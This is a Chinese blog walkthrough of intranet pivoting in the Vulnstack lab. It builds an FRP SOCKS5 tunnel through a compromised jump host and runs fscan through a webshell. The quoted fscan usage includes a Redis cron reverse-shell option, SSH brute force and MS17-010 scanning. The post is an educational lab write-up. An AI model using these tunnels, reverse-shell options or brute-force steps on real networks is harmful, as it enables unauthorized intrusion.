基于FRP反向代理工具实现内网穿透攻击

原创

 Troe
 ● ± 2021-07-15 00:27:33 发布
 ● 1662 ☆ 收藏 11

 分类专栏:
 <u>渗透测试</u>

 版权声明:
 本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 <u>https://blog.csdn.net/weixin_39190897/article/details/118736060</u>



55 篇文章 111 订阅 订阅专栏

文章目录

前言

FRP反向代理

内网环境搭建 服务端的配置 客户端的配置

FRP内网穿透

FRP进阶使用

fscan内网神器

总结

前言

当我们拿下目标单位的一台外网服务器后,需要借助外网服务器作为跳板机去开展内网渗透,这个时候必不可少的就是在跳板机 上设置代理。在前面的文章中,曾经在实际案例中介绍了两种代理方式:

1. Webshell 管理工具——冰蝎直接设置 HTTP 隧道代理实现内网穿透: 2021强网杯全国网络安全挑战赛Writeup;

2. Cobaltstrike 建立 Socks4 代理实现内网穿透: Cobaltstrike内网渗透神器入门使用教程。

以上两种代理方式虽均能实现内网穿透的目的,但是代理质量相对来说并不稳定,难以满足内网渗透的需求。本文将介绍一个专 注于内网穿透的高性能的反向代理应用——FRP,其支持 TCP、UDP、HTTP、HTTPS 等多种协议,可以将内网服务以安全、 便捷的方式通过具有公网 IP 节点的中转暴露到公网。

FRP反向代理

FRP 的 中文官方文档 可了解其作用和用法。

简而言之, FRP 通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:

- 1. 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
- 2. 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
- 3. 代理组间的负载均衡。
- 4. 端口复用,多个服务通过同一个服务端端口暴露。
- 5. 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5代理等),便于独立使用 frp 客户端完成某些工作。
- 6. 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
- 7. 服务端和客户端 UI页面。

内网环境搭建

本文将借助以下靶场环境进行 FRP 工具实现内网穿透的实验演示:



https://blog.csdn.net/weixin_39190897

没错,以上环境基于红日安全 Vulnstack 内网靶场环境,详情可参见Vulnstack红日安全内网域渗透靶场1实战。

1、由于虚拟机仅主机模式下默认是可与物理机连通的,故在 Win2008 域控主机上,防火墙新建了如下入站规则来拒绝 Win10 物理机的访问(禁止访问的 IP 为物理机的仅主机模式 VMnet1 网卡的网关 192.168.52.1):

Windows 7 x64 ×	Win2K3 Metasploitable 🛛 🕞	Windows Server 2008 R2	x64 ×												
🧋 商级安全 Windows 防火墙															
文件(F) 操作(A) 查看(V) 帮助(H)															
le 🔶 🖄 🛅 🗟 🛛															
🔐 本地计算机 上的	入站規则												操作	1	
🖾 入站规则	名称	组 ▲	配置文件	已启用	操作	替代	程序	本地地址	远程地址	协议	本地端口	远積▲	入龙	t ini	
≦ 出站规则 ■ 连接安 — 抑则			专用	是	允许	否	C:	任何	任何 🪽	TCP	任何	任何	7.9	1 /3/2 /5/1	_
■■ 监视			专用	是	允许	否	C:	任何	任何	UDP	任何	任何	i a	新建规则	
	⊗NoWin10		所有	是	阻止	否	任何	任何	192. 168. 52.	1 任何	任何	任何		4.2	
\	☑Active Directory Web	Active Directo	所有	是	允许	省	%s	任何	住何	TCP	9389	住何	Y .	按配置文	🕨
	❷Active Directory 域控	Active Directo	所有	是	允许	否	任何	任何	任何	IC	任何	任何	7	按状态筛	洗
	☑Active Directory 域控	Active Directo	所有	是	允许	否	任何	任何	任何	IC	任何	任何		18-1/02/14	~~ /
	❷Active Directory 域控	Active Directo	所有	是	允许	否	%s	任何	任何	TCP	389	任何——	V	按组筛选	
	⊘Active Directory 域控	Active Directo	所有	是	允许	否	%s	任何	任何	UDP	389	任何			
	❷Active Directory 域控	Active Directo	所有	是	允许	否	Sy	任何	任何	UDP	138	任何			
	❷Active Directory 域控	Active Directo	所有	是	允许 会许	否 不	Sy	任何	任何	TCP	445	任何	Q	刷新	

●Active Directory 域控 ●Active Directory 域控	Active Directo Active Directo	⁷⁷¹ 19 所有 所有	足星	ルけ 允许 会许	百否不	зу %s	任何	任何	UDP	440 123 626	任何	导出列表
◎Active Directory 域控 ◎Active Directory 域控	Active Directo	所有所有	是	九年 允许	否不不	%s %s	任何	任何 任何	TCP	3268	在但 http任何sg_ps <mark>都</mark> ,	na <mark>帮助</mark> xin_39190897

2、此时 Win7 跳板机访问 Win2008 的 80 端口 Web 服务是正常的:



3、但是"外网"角色的 Win10 物理机则无法正常访问 Win2008 的 Web 服务:



 ・ ¹¹位旦网:41日月 ・ 检查代理服务 ・ 运行 Window 	z S器和防火墙 vs 网络诊断
ERR_CONNECTION_TIM	IED_OUT
重新加载	详细信息

4、而同样是与物理机做了仅主机模式网络连接的 Win2003 虚拟机,由于没有做防火墙策略,Win10 物理机是可以直接连通的:

C:\WINDOWS\system32\cmd.exe	
Microsoft Windows [版本 10.0.19042.1110] (c)Microsoft Corporation。保留所有权利。	
C:\Users\True>ping 192.168.52.138	
正在 Ping 192.168.52.138 具有 32 字节的数据: 请求超时。 请求超时。 请求超时。 请求超时。	
192.168.52.138 的 Ping 统计信息: 数据包: 己发送 = 4, 己接收 = 0, 丢失 = 4 (100% 丢失),	
C:\Users\True>ping 192.168.52.141	
正在 Ping 192.168.52.141 具有 32 字节的数据: 来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128	
192.168.52.141 的 Ping 统计信息: 数据包: 己发送 = 4, 己接收 = 4, 丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms, 最长 = 0ms, 平均 = 0ms	
C:\Users\True>_	https://blog.csdn.net/weixin_39190897

以上就是本次实验的演示环境,接下来我的目标就是借助 FRP 反向代理工具,实现 Win10 物理机通过 Win7 跳板机的代理成功 访问到内网 Win2008 的 Web 服务!

服务端的配置

FRP 代理工具可以直接在 Github下载:

https://github.com/f	atedier/frp/releases	騾 ☆	♀ 搜索	52	•	8	10	9
	 → Assets 16 							
	frp_0.37.0_darwin_amd64.tar.gz				8.47	' MB		
	frp_0.37.0_darwin_arm64.tar.gz				8.23	MB		
	frp_0.37.0_freebsd_386.tar.gz				7.68	MB		
	frp_0.37.0_freebsd_amd64.tar.gz				8.19	MB		
					7.68	MB		

	8.18 MB
frp_0.37.0_linux_arm.tar.gz	7.56 MB
frp_0.37.0_linux_arm64.tar.gz	7.44 MB
	7.34 MB
frp_0.37.0_linux_mips64.tar.gz	7.27 MB
frp_0.37.0_linux_mips64le.tar.gz	7.11 MB
	7.22 MB
	7.94 MB
	8.25 MB
Source code (zip)	
Source code (tar.gz)	

从下图的 frp 架构图可以看出 frp 的工作流程——在服务端部署 frps,在要访问的 内网机器(或者跳板机)上部署 frpc,实现服务端对该主机的反向代理,接着便可以通过访问服务端来实现对该内网主机的远程访问(或者借助跳板机访问内网):



1、下载 frp_0.37.0_linux_amd64.tar.gz 并传输到 VPS 服务器上后解压缩获得如下文件:



pot/FRP/frp_0.37.0_linux_amd64		历史 🕄 🕯 🕹 🕹				
📜 root	文件名 ▲	大小 类	型	修改时间	权限	用户/用户组
.cache	systemd	3	て件夹	2021/06/03 01:06	drwxr-xr-x	1001/987
config	frpc	9.5 MB 🕉	て件	2021/06/03 01:02	-rwxr-xr-x	1001/987
	🔬 frpc_full.ini	9.3 KB 酉	置设置	2021/06/03 01:06	-rw-rr	1001/987
.m2	🔊 frpc.ini	126 B 酉	置设置	2021/06/03 01:06	-rw-rr	1001/987
msf4	frps	12.6 MB 🕇	て件	2021/06/03 01:02	-rwxr-xr-x	1001/987
ssh	📕 🔬 frps_full.ini	4.9 KB 酉	置设置	2021/06/03 01:06	-rw-rr	1001/987
CobaltStrike	🔬 frps.ini	26 B 酉	置设置	2021/06/03 01:06	-rw-rr	1001/987
EPP	LICENSE	11.1 KB 🕇	て件	2021/06/03 01:06	-rw-rr	1001/987
□ Frp_0.37.0_linux_amd64						
systemd						

其中的关键文件如下:

	frpc	#frp客户端执行程序
┣	<pre>frpc_full.ini</pre>	
┣	frpc.ini	#frp客户端配置文件
┣	frps	#frp服务端执行程序
┣	<pre>frps_full.ini</pre>	
┣	frps.ini	#frp服务端配置文件
L	LICENSE	

2、frp 服务默认不设置连接密码, frps.ini 文件默认只设置了端口:

► 1 MyVPS × +
[root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]# ls
<pre>frpc frpc_full.ini frpc.ini frps frps_full.ini frps.ini LICENSE systemd</pre>
[root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]#
[root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]# cat frps.ini
[common]
bind_port = 7000
[root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]#
https://blog.csdn.net/weixin_39190897

我们可以修改服务端配置文件 frps.ini 来配置代理的连接密码,如下图所示:



3、执行命令 ./frps -c ./frps.ini 开始运行 FRP 服务:



客户端的配置

1、将对应版本的 FRP 工具下载到 Win7 跳板机上并解压缩,客户端配置文件 frpc.ini 初识参数如下:



2、同样的修改 FRP 客户端配置文件 frpc.ini 来设置服务端的 IP 地址、端口、连接密码:

📝 C:\U	Jsers\Administrator\Desktop\frp_0.37.0_windo	ows_amd64\frp_0.37.0_windows_amd64\frpc.i 🗖 🗖 🗮 🎽
文件(F))编辑(E)搜索(S)视图(V)编码(N)语言(L);	2置(T) 工具(O) 宏(M) 运行(R) 插件(P) 窗口(W) ? X
	📓 🖥 🗟 🐚 🚔 🖊 🐂 🜔 🗩 🖒 🗰 🖖	r 👒 👒 🖳 🖳 💷 🎵 🏣 🐺 🌠 🌆 🔊 💌 🔳 🕨 ֎
📄 frp	c. ini 🗵	
1	[common]	
2	server_addr = 104.168.7	
3	server_port = 7000	
4	token = frp1234	
6	📮 [socks5]	
7	type = tcp	
8	remote_port = 6666	
9	plugin = socks5	
10	use_encryption = true	
11	use_compression = true	
12		
13	L	https://blog.csdn.net/weixin_39190897

参数释义:

[common]
server_addr = 104.168.***.*** #VPS服务器的 IP
server_port = 7000 #VPS服务器上设置的 FRP 服务绑定端口
token = ftp1234 #VPS服务端设置的 FRP 服务连接密码
[socks5] #这个是反向代理的名称,可以随意设置
type = tcp #socks5 是 TCP 协议的
remote_port = 6666 #指定建立的反向代理的连接端口
plugin = socks5 #指定建立 socks5 代理隧道
use_encryption = true
use_compression = true

3、接下来执行命令 frpc.exe -c frpc.ini 启动客户端即可:



4、此时查看 VPS 服务器监听的 7000 端口已成功与客户端连接,同时开启了 6666 端口并建立了 socks5 代理通道:



FRP内网穿透

配置完 FRP 服务端和客户端并建立起 socks5 隧道后,下面就来见证下利用该 FRP 代理隧道如何穿透内网!

1、在 Win10 物理机的谷歌浏览器设置如下代理:

● SwitchyOmega 选项 ×	+								
 	tchyOmega chrome-e 合 📙 CTF平台 📒 代码	xtension://padekgce 审计 🔜 内网渗透 🧧	emlokbadohgkifijomclgjgif/opti 在线工具 🧧 安全平台 📑 博福	ons.html#!/profile/VPS代理 资源		☆ ○ 4			
SwitchyOmega 情景模式: VPS代理									
_{设定}	代理服务器	ł							
✿ 通用 ■■ 导入/导出	网址协议		代理服务器	代理端口					
情景模式 ④ BurpSuite	(默认) ▼显示高级	SOCKS5	✓ 104.168.	6666					
♥VPS代理	不代理的地	此列表							
♥ Xray扫描器 ◆ 新建情景模式…	描器 不经过代理连接的主机列表: (每行一个主机)]]]模式								
ACTIONS ② 应用选项 ⑧ 撤销更改	127.0.0.1 [::1] localhost								

2、然后让 Win10 的谷歌浏览器流量走 VPS 建立的 FRP socks5 代理,即可访问到内网域控主机的 Web 服务,成功实现内网穿透!

● SwitchyOmega 选项 × 🚱 IIS7	× +	
← → C ☆ ▲ 不安全 192.168.52.138		* 💿 🍖
📙 Work 📒 安全编程 📙 SRC平台 📙 CTF平台 📙 代码审计 📙 F	内网渗透 🧧 在线工具 🧧 安全平台 🧧 博客资源	₩ [直接连接]
		● [系统代理]
	Welcome Hazz Bienvenido	Ø BurpSuite
	Willkommen Bem-vindo	
	Bienvenue	
		▼ 192.168.52.138 -
	Velkommen VELKOMEN	▶ 选项
	Benvenuto 欢迎	
	Welkom Witamy	
/	Välkommen Välkommen	
	Hoş Geldiniz 환영합니다	
	Údvözöljük Καλώς ορίσατε Добро пожаловать	
		https://blog.csdn.net/weixin_39190897

返回 VPS 也能查看到对应流量转发的信息:

FinalShell 3.9.2.2	
▶ • 1 MyVPS × +	
<pre>[root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]# [root@hwc-hwp-587401-751218 frp_0.37.0_linux_amd64]# ./frps -c ./frps.ini 2021/07/14 15:06:28 [] [root.go:200] frps uses config file: ./frps.ini 2021/07/14 15:06:28 [] [root.go:200] frps uses config file: ./frps.ini</pre>	
2021/07/14 15:06:28 [1] [root.go:209] frps started successfully	
2021/07/14 15:06:59 [1] [service.go:449] [b7a85277f45f2a64] client login info: ip [222.129.38.129:178	22] version [0.37.0] hostname [] os [windows] arch [amd64]
2021/07/14 15:06:59 [1] [tcp.go:63] [b7a85277t45t2a64] [socks5] tcp proxy Listen port [6666]	
2021/07/14 15:06:59 [1] [control.go:444] [b7a85277f45f2a64] new proxy [socks5] success	
2021/07/14 15:08:42 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	(36214)
2021/07/14 15:08:42 [1] [proxy.go:162] [b/a8527/14512a60] [SockS5] get a user connection [222.124.	22226
2021/07/14 15:08:42 [1] [proxy.go:102] [b/a852774552a64] [socks5] get a user connection [222.129	106331
2021/07/14 15:08:44 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	22271
2021/07/14 15:08:44 [1] [proxy.go:162] [b7a8527714512a64] [socks5] get a user connection [222.129	+2228]
2021/07/14 15:08:44 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [106.45.	10126]
2021/07/14 15:08:44 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	F19616]
2021/07/14 15:08:51 [I] [proxy.go+162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	F4108]
2021/07/14 15:08:52 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	(5004)
2021/0//14 15:08:53 [L] [proxy.go:162] [b/a852//14512a64] [socks5] get a user connection [222.124	221107]
2021/07/14 15:08:56 [1] [proxy.go:162] [b7:052774512004] [S0ck55] get a user connection [222.129	2230
2021/07/14 15:00:10 [1] [proxy.go:162] [b7a85277f45f2af4] [socks5] get a user connection [222.129	293351
2021/07/14 15:09:23 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129	28704]
2021/07/14 15:09:23 [1] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129.	9242]
2021/07/14 15:09:24 [I] [proxy.go:162] [b7a85277f45f2a64] [socks5] get a user connection [222.129.3	24888]
	https://blog.csdn.net/weixin_39190897

3、以上除了在浏览器直接连接 frp 的 socks5 代理外,在实际渗透过程中为了结合 BurpSsuite 对内网 Web 系统进行抓包测试,还可以在浏览器连接 BurpSuite 代理,并在 BurpSuite 中设置流量走 frp 服务器的 socks5 代理即可,如下图所示:

💕 Burp Suit	e Profe	essional	v2.1.06	- Tempor	ary Project	- license	d to surfe	rxyz						
Burp Project	Intruder	Repeate	r Window	Help										
Dashboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Burpy	Domain Hunter	Fastjson scan	BurpCrypto
Connections	SSL	Display	Misc											
Note: tr	ese sen platform	authentic	<i>be overn</i> a ation	aen tor inaiv	iauai projects	witnin proje	ect options.			/				
Ad	: :	Destinatio	n host	▲ Ty	pe U	sername [Domain D	omain hostr	name					
Remo														

	Prompt for	r credentia	s on platform authentic	ation failure							
? 令	Upstream P The following r Note: these se	Proxy Ser rules deter ettings can	vers mine whether Burp sen be overridden for indiv	ds each outgoing request idual projects within projec	to a proxy s ot options	ever, or directly to the de	stination we	server. The	first rule that matc	hes each destinat	ion host will be us
	Add	Enabled	Destination host	Proxy host		Proxy p Auth type	Username				
	Edit		*	127.0.0.1		8090					
	Remove							•			
	Up										
	Down										
?	SOCKS Pro	ху									
63	These setting:	s let you c	onfigure Burp to use a \$	SOCKS proxy. This setting	g is applied	at the TCP level, and all o	utbound requ	ests will be s	sent via this proxy	. If you have confiç	jured rules for ups
	Note: these s	ettings can	be overridden for indiv	idua projects within projec	ct options.						
	Use SOC	KS proxy									
	SOCKS proxy	/ host: 10	4.168.14								
	SOCKS proxy	/ port: 66	66								
_	Username:										
	Password:										
	Do DNS lo	ookups ove	r SOCKS proxy								

4、此时谷歌浏览器挂着 BurpSuite 的代理便可以访问到内网的服务了:

● SwitchyOmega 选项 × 🚱 IIS7 ×	+	
← → C △ ▲ 不安全 192.168.52.138		🖈 🧿 🍖 የ
📙 Work 📙 安全编程 📒 SRC平台 📙 CTF 台 📙 代码审计 📒 内网	网渗透 🧧 在线工具 📒 安全平台 📒 博客资源	₩ [直接连接]
		● [系统代理]
	Welcome Bienvenido	Ø BurpSuite
	Willkommen Bem-vindo	
	Bienvenue	
	数迎 TT 一 Tervetuloa	▼ 192.168.52.138 -
	Velkommen VELKOMEN	▶ 选项
	Benvenuto 欢迎	
	Welkom	
	Välkommen Internet Information services	
	Hoş Geldiniz 환영합니다	
	Üdvözöljük Καλώς ορίσατε Добро пожаловать	

同时 BurpSuite 也能抓到内网服务的数据包了:

2 http://192.168.52.138 GET /		304	230
Request Response			
Raw Headers Hex			
GET / HTTP/1.1			
Host: 192.168.52.138			
Cache-Control: max-age=0			
Upgrade-Insecure-Requests: 1			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/5	37.36		
Accept: text/html, application/xhtml+xml, application/xml:q=0.9, image/avif, image/webp, image/appg, */*;q=0.8, application/signe	d-exchange;v=b3;q=	0.9	
Accept-Encoding: gzip, deflate			
Accept-Language: zh-CN, zh;q=0.9, en;q=0.8			

至此已成功借助 frp 搭建 socks5 代理隧道、实现内网穿透的目的!

FRP进阶使用

上文搭建的 socks5 隧道用于将公网主机(本文代指 Win10 物理机)访问内网服务器的请求流量直接通过访问 Win7 跳板机转发,从而实现内网穿透的目的。

FRP 反向代理还可以将内网主机的 22、3389 等端口转发到公网主机的指定端口,从而实现远程连接内网服务器的目的,如下 图所示:

\leftarrow \rightarrow C \textcircled{a} \bigcirc \bigcirc https://g	gofrp.org/docs/examples/ssh/	騾 ☆	Q 搜索
FRP		文档	当 新闻 中文 -
Q、站内搜索	2. 在需要被访问的内网机器上(SSH 服务通常监听在 22 端口)部 所在服务器的公网 IP 为 x.x.x.x:	署 frpc, 修改 frpc.ini	文件,假设 frps
文档			
概览	[common]		
安装	<pre>server_addr = x.x.x.x</pre>		
概念	server_port = 7000		
示例 通过 SSH 访问内网机器 通过自定义域名访问内 网的 Web 服务 转发 DNS 查询请求 转发 Unix 域套接字 对外提供简单的文件访 问服务 为本地 HTTP 服务启用 HTTPS 安全地暴露内网服务 点对点内网穿透 功能特性	[ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 local_ip 和 local_port 配置为本地需要暴露到公网的服务地址 务端监听的端口,访问此端口的流量将会被转发到本地服务对应 3. 分別启动 frps 和 frpc。 4. 通过 SSH 访问内网机器,假设用户名为 test: ssh -oPort=6000 test@x.x.x.x frp 会将请求 x.x.x:6000 的流量转发到内网机器的 22 端口。	业和端口。 remote_por 的端口。	ət 表示在 frp 服
FAQ	最后修改 June 3, 2021: update doc for v0.37.0 (6ad9db9)		

相关用法请参见前文提及的 FRP 的 中文官方文档,此处不再演示。

fscan内网神器

此处搞点跟本文题目无关的题外知识hh,某次攻防演习看到同事使用了 fscan 扫描内网的服务,被秀了一把,不得不感叹真香! 在此顺便借助该靶场环境记录下该工具的用法。

```
() shadow1ng/fscan: 一款内网综×
   ×
                           +
                                                                      ♀ 搜索
○ A https://github.com/shadow1ng/fscan
                                                                騣 🛨
∃ README.md
♂简介
 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信
 息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
 主要功能
 1.信息搜集:
   • 存活探测(icmp)

    端口扫描

 2.爆破功能:
   • 各类服务爆破(ssh、smb等)
   • 数据库密码爆破(mysql、mssql、redis、psql等)
 3.系统信息、漏洞扫描:
   • netbios探测、域控识别
   • 获取目标网卡信息
   • 高危漏洞扫描(ms17010等)
 4.Web探测功能:
   ● webtitle探测
   • web指纹识别(常见cms、oa框架等)
   • web漏洞扫描(weblogic、st2等,支持xray的poc)
```

۵	https://github.com/s	hadow1ng/fscan/releases	器 公	♥ 搜索	<u>ک</u>	•	۲	#2	J
	(Latest release) § 1.6.3 ↔ c8ec4ea Compare ▼	fscan 1.6.3 Shadow1ng released this Jun 18, 2021 添加Poc 改善poc的机制,如果识别出指纹会根据指纹信息发送poc ② ▲ 2 people reacted • Assets 7	oc,如果没有识别到指纹	才会把所有poc打一遍					
		♀ fscan_darwin				5.1	3 MB		
		♀ fscan_win32.exe				2.7	'8 MB		
		♀ fscan.exe				4.3	4 MB		
						4.8	88 MB		
		♦ fscan64.exe				4.8	89 MB		
		Source code (zip)							
		Source code (tar.gz)							

简单用法:

i	README.md	
	usege	
	简单用法	
	fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 (B段扫描)	
:	其他用法	
	fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m sml -pwd password (smb密码碰撞)	
	https://blog.csdn.net/weixi	

下面来体验下该工具,看看实际的使用效果!

1、拿到 Win7 跳板机的 Shell:

		印旧	大小	唐 注
- 🌆 phpStudy	🎴 phpMyAdmin	2019-10-13 08:39:26		0777
	\mu yxcms	2019-10-13 09:01:07		0777
	🧮 111.exe	2021-07-12 15:28:14	17920	0777
yxcms	🗐 111.php	2021-07-12 14:58:18	32	0666
<i>Ф</i> .	🗐 beifen.rar	2019-10-13 09:05:39	3142807	0666
	🗐 l.php	2014-02-27 15:02:21	21201	0666
	🗐 phpinfo.php	2013-05-09 12:56:36	23	0666
			https://blog.csdn.n	et/weixin 39190897
			indpointerogrood init	

2、上传 fscan64.exe 文件到跳板机上:

Cknife 1.0 Release		-		_ 🗆 X
列表 192.168.92.130				
C:\phpStudy\WWW\				读取
- 🗢 C:	文件	时间	大小	属性
- 🎍 phpStudy	📗 phpMyAdmin	2019-10-13 08:39:26		0777
- 🚺 WWW	\mu yxcms	2019-10-13 09:01:07	4096	0777
	🗐 111.exe	2021-07-12 15:28:14	17920	0777
⇒ D·	🗐 111.php	2021-07-12 14:58:18	32	0666
	🗉 beifen.rar	2019-10-13 09:05:39	3142807	0666
	🗐 fscan64.exe 🥌	2021-07-14 16:08:25	5107200	0777
	🗐 l.php	2014-02-27 15:02:21	21201	0666
	🗐 phpinfo.php	2013-05-09 12:56:36	23	0666
			https://blog.csdn.n	et/weixin_39190897

3、在 Cknife 中打开命令终端,执行命令 fscan64.exe -h 192.168.52.0/24 -o result.txt,进行内网信息探测:



4、下载并打开程序运行结果 result.txt,可以看到如下搜集到的全面的内网信息:

🥘 result.txt - 记事本
文件(E) 编辑(E) 格式(Q) 查看(业) 帮助(且)
192.168.52.138:445 open
192.168.52.143:139 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.141:139 open
192.168.52.138:139 open
192.168.52.143:135 open
192.168.52.141:135 open
192.168.52.141:21 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:8099 open
192.168.52.141:7002 open
192.168.52.138:135 open
192.168.52.141:8098 open
NetInfo:

. [*]192.168.52.143 [->]stu1 [->]192.168.52.143 [->]169.254.129.186 [->]192.168.92.130 NetInfo: [*]192.168.52.138 [->]owa [->]192.168.52.138 [*] 192.168.52.143 🛛 __MSBROWSE_ \STU1 Windows 7 Professional 7601 Service Pack 1 [+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1) NetInfo: [*]192.168.52.141 [->]root-tvi862ubeh [->]192.168.52.141 [*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor [*] 192.168.52.141 GOD\SNTL_ROOT-TVI86

附上所有结果:

192.168.52.138:445 open
192.168.52.143:139 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.141:139 open
192.168.52.138:139 open
192.168.52.143:135 open
192.168.52.141:135 open
192.168.52.141:21 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:8099 open
192.168.52.141:7002 open
192.168.52.138:135 open
192.168.52.141:8098 open
NetInfo:
[*]192.168.52.143
[->]stu1
[->]192.168.52.143
[->]169.254.129.186
[->]192.168.92.130
NetInfo:
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[*] 192.168.52.143MSBROWSE_\STU1 Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
NetInfo:
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*] 192.168.52.141 GOD\SNTL_ROOT-TVI86
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] 192.168.52.138 [+]DC GOD\OWA Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[*] WebTitle:http://192.168.52.138 code:200 len:4 title:IIS7
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[*] WebTitle:http://192.168.52.143 code:200 len:21 title:phpStudy 探针 2014
[+] ftp://192.168.52.141:21:anonymous

可以看到,扫描结果里包括了几大类信息:

- 1. 扫描的内网网段里存活的主机 IP 及其开放的端口;
- 2. 扫描的内网网段里主机的名称、MS17-010 永恒之蓝等漏洞扫描结果(两台主机存在该漏洞);
- 3. 扫描的内网网段里主机开放的 Web 服务的标题、端口地址!

此处验证下扫描到的几个内网 Web 服务是否真实存在:

C 写文章-CSDN博客	imes The page must be viewed over a $ imes$ Sentinel Keys License Monitor	× phpStudy 探针 2014	× +	
\leftarrow \rightarrow C \textcircled{a}	0 8 192.168.52.141:8099		嬲 ☆	Q 搜索
The page must	be viewed over a secure channel			

The page you are	e trying to access is secured	d with Secure Sockets	Layer (SSL).				
lease try the fo	ollowing:						
• Type http press ENT	ps:// at the beginning of th TER.	ne address you are atte	empting to reach and				
ITTP Error 403.4 nternet Informat	4 - Forbidden: SSL is required tion Services (IIS)	d to view this resource	2.				
echnical Informa	ation (for support personnel))					
 Go to Mic HTTP and Open IIS topics titl Error Mes 	rosoft Product Support Serv d 403. Help, which is accessible in ded About Security, Secure essages.	<u>vices</u> and perform a title n IIS Manager (inetmgr) e Sockets Layer (SSL)	le search for the words), and search for), and About Custom				
与义卓-CSDN推	專各 × Ine p	page must be viewed	over a × Sentinel Ke	eys License Monitor	x phpStudy J### 2014	× +	
$\cdot \rightarrow c$	ⓐ ○ 🗞 192.168	8.52.141:7002				騾 ☆ ♀	、搜索
× The pag	ge must be viewed over a $ imes$	Sentinel Keys Licens	e Monitor × phpSt	udy 探针 2014	× +		
× The page 2010	ge must be viewed over a × 52.143	Sentinel Keys Licens	e Monitor × phpSt	udy 探针 2014	× + 器☆ Q.搜索		11_05150
 × The page № 192.168.5 	ge must be viewed over a × 52.143 phpStudy 拸	Sentinel Keys Licens 花年十 for <u>phpStudy</u>	e Monitor × phpSt	udy 探针 2014	× + 驟☆ Q搜索 not 不想	显示 phpStudy 探针	۱۱۱ <u>-</u> ۵۶130
× The page 28 192.168.5	ge must be viewed over a × 52.143 phpStudy 抒 服务器参数	Sentinel Keys Licens 茶年十 for <u>phpStudy</u>	e Monitor × phpSt	udy 探针 2014	× + 驟☆ Q搜索 not不想	显示 phpStudy 探针	1.00100
× The pag	ge must be viewed over a × 52.143 phpStudy 好 服务器域名/IP地址 192	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52.	e Monitor × phpSt <u>7 2014</u> .143)	udy 探针 2014	× + 鬷 ☆ Q 搜索 not 不想	望示 phpStudy 探针	11_03133
